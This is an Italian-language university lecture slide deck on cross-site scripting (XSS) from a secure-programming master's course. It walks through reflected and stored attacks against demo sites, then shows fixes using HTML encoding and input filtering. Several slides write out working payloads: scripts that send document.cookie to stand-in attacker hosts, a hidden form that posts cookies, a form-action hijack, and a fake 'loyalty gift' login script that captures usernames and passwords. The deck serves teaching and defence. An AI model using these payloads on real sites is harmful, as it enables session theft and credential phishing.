UNIVERSITÀ DI PERUGIA
DIPARTIMENTO DI MATEMATICA E INFORMATICA
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Cross Site Scripting
Prof. Stefano Bistarelli
Università “G. d’Annunzio”
Dipartimento di Scienze, Pescara
C
Consiglio Nazionale delle
Ricerche
Iit
Istituto di Informatica e Telematica - Pisa
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Cos'è il CSS?

Una tecnica che consente agli hacker di:




Eseguire script dannoso nel browser Web
di un client
Inserire tag <script>, <object>, <applet>,
<form> e <embed>
Rubare informazioni sulla sessione Web e cookie di
autenticazione
Accedere al computer client
Qualsiasi pagina Web che esegue il rendering HTML
e contenente input dell'utente è vulnerabile
S. Bistarelli - Metodologie di Secure
Programming
2
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
A.4: Principi di Cross-Site-Scripting
(XSS)
[7] utilizzo del token rubato per autenticarsi
al servizio
[1] Richiesta
Internet
Attacker
[2] Risposta
[3] Invio malicious code mascherato da
informativa della banca
[6]
DataBase
Web server
App. server
www.my-banca.it
Internet
[4] www.mybanca.it/VulnApp.jsp?e=<script
“malizioso”>
WebApp vulnerabile al
XSS
user
[6] Invio di token di
autenticazione
all’attaccante
[5] Risposta: pagina voluta
dall’attaccante eseguita sul browser
dell’utente
S. Bistarelli - Metodologie di Secure
Programming
3
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
A.4: Cross-Site-Scripting (2)










GET /welcome.cgi?name=<script>alert(document.cookie)</script>
HTTP/1.0
Host: www.my-banca.it
...
La risposta del sito vulnerabile sarà la seguente (interpretata sul
browser dell’utente ignaro):
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR> Welcome to our system
...
</HTML>
S. Bistarelli - Metodologie di Secure
Programming
4
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
A.4: Cross-Site-Scripting (3)










Il malicious link può essere:
http://www.mybanca.it/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi
?cookie=”%2Bdocument.cookie)</script>
La risposta del server sarà:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)
</script>
<BR>Welcome to our system
...
</HTML>
Redirezione del contenuto del cookie dell’utente ignaro verso il server dell’attaccante
S. Bistarelli - Metodologie di Secure
Programming
5
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Due impieghi comuni del CSS


Attaccare le piattaforme di posta elettronica
basate sul Web e i forum
Utilizzo dei tag <form> HTML per reindirizzare
informazioni private
S. Bistarelli - Metodologie di Secure
Programming
6
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Attacchi basati su form (1 di 2)
Response.Write("Welcome" &
Request.QueryString("UserName"))
S. Bistarelli - Metodologie di Secure
Programming
7
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Site soggetti a XSS/CSS


Vediamo l’esempio
http://localhost/CrossScripting/Login.aspx
S. Bistarelli - Metodologie di Secure
Programming
8
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Proviamo..

Iniettiamo codice e vediamo che succede
…
<script>alert(‘ciao’)</script>
<script>alert(document.cookie)</script>

Script eseguito sul mio browser …

Ma come faccio io attaccante che non sono su macchina del
client .. a prendermi il cookie??

…cerco il campo di input …
 txtname



S. Bistarelli - Metodologie di Secure
Programming
9
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione




E se chiamo la pagina cosi’?
http://localhost/CrossScripting/Login.aspx?txt
name=<script>alert('ciao')</script>
Funziona lo stesso!!
Quindi se mando link a Maria e lei clicca
esegue sul suo browser (credendo di andare
al suo sito) il mio script!!
S. Bistarelli - Metodologie di Secure
Programming
10
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Attacchi basati su form (1 di 2)
Response.Write("Welcome" &
Request.QueryString("UserName"))
S. Bistarelli - Metodologie di Secure
Programming
11
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione


…
Ma come faccio io attaccante ad avere le info
sul mio sito e non sullo schermo di Maria??
S. Bistarelli - Metodologie di Secure
Programming
12
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Attacchi basati su form (2 di 2)
<a href=http://www.contoso.msft/welcome.asp?name=
<FORM action=http://www.
nwtraders.msft/data.asp
method=post id=“idForm”>
<INPUT name=“cookie” type=“hidden”>
</FORM>
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT> >
hereS. Bistarelli - Metodologie di Secure
</a>
Programming
13
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione








<script>
window.onload = function()
{
document.forms[0].onsubmit = function ()
{
return Hack()
}
}

function Hack()
{
var action="http://localhost/Hack/Hack.asp";
document.forms[0].action=action;document.forms[0].method="GET";
return true;
}

</script>





S. Bistarelli - Metodologie di Secure
Programming
14
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
In generale …

Se ho input di questo tipo:


http://victim.com/search.php ? term = apple
search.php responds with:





<HTML> <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
...
</BODY> </HTML>
S. Bistarelli - Metodologie di Secure
Programming
15
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Posso usarlo cosi!!

http://victim.com/search.php ? term =
<script> window.open(
“http://badguy.com?cookie = ” +
document.cookie ) </script>

Se la mia vittima clicca su questo link?





Browser va a victim.com/search.php
Victim.com restituisce


<HTML> Results for <script> … </script>
Browser executes script:

Sends badguy.com cookie for victim.com
S. Bistarelli - Metodologie di Secure
Programming
16
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
So what?

Perche’ un utente dovrebbe cliccare su quel link?





Phishing email in webmail client (e.g. gmail).
Link in doubleclick banner ad
… many many ways to fool user into clicking
Vedi esempio mail poste.it!!
Cosa ci fa badguy.com con il cookie di victim.com ?

Puo’ essere usato per spacciarsi per quell’utente per
esempio!! (vedi lezione su cookies!!)
S. Bistarelli - Metodologie di Secure
Programming
17
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Even worse

Attacker can execute arbitrary scripts in browser

Can manipulate any DOM component on victim.com



Control links on page
Control form fields (e.g. password field) on this page and
linked pages.
Can infect other users: MySpace.com worm.
S. Bistarelli - Metodologie di Secure
Programming
18
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Difesa …
S. Bistarelli - Metodologie di Secure
Programming
19
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Avoiding XSS bugs (PHP)

Main problem:




Input checking is difficult --- many ways to inject scripts
into HTML.
Preprocess input from user before echoing it
PHP: htmlspecialchars(string)
&  &amp;
"  &quot;
' 
&#039;
<  &lt;
>  &gt;


htmlspecialchars(
"<a href='test'>Test</a>", ENT_QUOTES);
Outputs:
&lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
S. Bistarelli - Metodologie di Secure
Programming
20
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Avoiding XSS bugs (ASP.NET)

ASP.NET 1.1:

Server.HtmlEncode(string)


Similar to PHP htmlspecialchars
validateRequest:




(on by default)
Crashes page if finds <script> in POST data.
Looks for hardcoded list of patterns.
Can be disabled:
<%@ Page validateRequest=“false" %>
S. Bistarelli - Metodologie di Secure
Programming
21
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
S. Bistarelli - Metodologie di Secure
Programming
22
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Esercizio lab
S. Bistarelli - Metodologie di Secure
Programming
23
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
esercizio

In this scenario, you have a web application
that supports both anonymous and
authenticated users, the latter of which are
authenticated using ASP.NET Forms logon.
The application is a message board which
allows any user to post a message that all
others can read.
S. Bistarelli - Metodologie di Secure
Programming
24
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Giochiamo con l’applicazione

2 utenti registrati (hard coded (no db))



Entriamo come alice e inviamo un messaggio


alice – password
bob – password
NO HTML
Ora entriamo come black hat (anonimo) e
vediamo se supporta XSS 

Si!!
S. Bistarelli - Metodologie di Secure
Programming
25
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Postiamo questo codice!!



















<h2>Wow, this site has a nasty XSS vulnerability!</h2>
<input type='button' value='Click me for a laugh!' onclick='changePersonality()'/>
<h2>I wonder if I can see your cookie with this script?</h2>
<input type='button' value='Click to see your cookie!' onclick='alert(document.cookie)'/>
<h2>Hey, would you post your cookie to my website please?</h2>
<input type='button' value='Click to POST your cookie!' onclick='alert("Just kidding, but keep in mind that
a real attacker would not ask before doing this!")'/>
<script>
function changePersonality() {
var image = document.images[0]
if (image.src.match('google')) {
// switch back to Fabrikam
image.src = 'art/Fabrikam.gif';
}
else {
// switch to Google
image.src = 'http://www.google.com/intl/en/images/logo.gif';
}
}
</script>
S. Bistarelli - Metodologie di Secure
Programming
26
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Ora immaginiamo ..


Che alice entri e veda il codice …
Alice non lo sa ma:

Attaccante ha controllo completo della pagina


(vedi come cambia immagine)
Attaccante puo’ rubare informazioni da alice (o
meglio per ora le visualizza e basta, ma potrebbe
facilmente reindirizzarle (ricordatevi esempi
precedenti)

Visualizza cookies
S. Bistarelli - Metodologie di Secure
Programming
27
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Difesa



Usare htmlencode su testo output!
 text = Server.HtmlEncode(r.ReadToEnd());
Filtra input
 // filter the input using a whitelist - look for what is good!
string pattern = @"^[-\s\w\d.,!@#%&?*()+=|{}[\]:;/^$\\""']*$";
if (!Regex.IsMatch(text, pattern, RegexOptions.Multiline)) {
string errorMessage = "Your post has one or more disallowed "
+ "characters (no HTML, please).";
Response.Redirect(@"~\error.aspx?msg=" +
Server.UrlEncode(errorMessage));
return;
}
Sembra tutto a posto ora??
 E invece no chi sa perchè?
S. Bistarelli - Metodologie di Secure
Programming
28
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
XSS su error page


Error chiamata con un parametro di input!!
Proviamo a cambiare input!



“ciao a tutti”  funziona!!
Posso modificare la pagina come voglio!!
Phishing attack!!

lab-css\CrossSiteScripting\before\XSSWeb\phishing_email.htm
Il link nella pagina porta alla pagina di errore opportunamente
modificata!!

http://localhost:4536/XSSWeb/phishing_email.htm

S. Bistarelli - Metodologie di Secure
Programming
29
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Ecco il messaggio per la pag di errore


















var html = "Please log in. You will be automatically registered for a free gift!" +
"<script>" +
"var u, p;" +
"function myLogon() {" +
"u = document.getElementById('ctl00$LoginView1$Login1$UserName').value;" +
"p = document.getElementById('ctl00$LoginView1$Login1$Password').value;" +
"}" +
"function thanks() { " +
"var msg = 'Your gift will be shipped within 7 business days. Thanks again for your loyalty! " +
"Oh and by the way, I learned something about you today. " +
"Your user name is: ' %2B u %2B ' and your password is: ' %2B p;" +
"document.getElementById('ctl00_MainBody_message').innerText=msg;" +
"}" +
"document.getElementById('ctl00_lblFormTitle').lastChild.nodeValue='Loyalty Gift';" +
"document.getElementById('ctl00_lblPageTitle').lastChild.nodeValue='Loyalty Gift';" +
"document.getElementById('ctl00$LoginView1$Login1$LoginButton').onclick = myLogon;" +
"document.forms[0].action = 'javascript:thanks()';" +
"<\/script>";
S. Bistarelli - Metodologie di Secure
Programming
30
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione
Fix la pagina error!

Su error page

Htmlencode input


message.Text =
Server.HtmlEncode(Request.QueryString["msg"]);
Nota su web.config

<pages validateRequest="false"/>  true
S. Bistarelli - Metodologie di Secure
Programming
31
Scarica

XSS - Dipartimento di Matematica e Informatica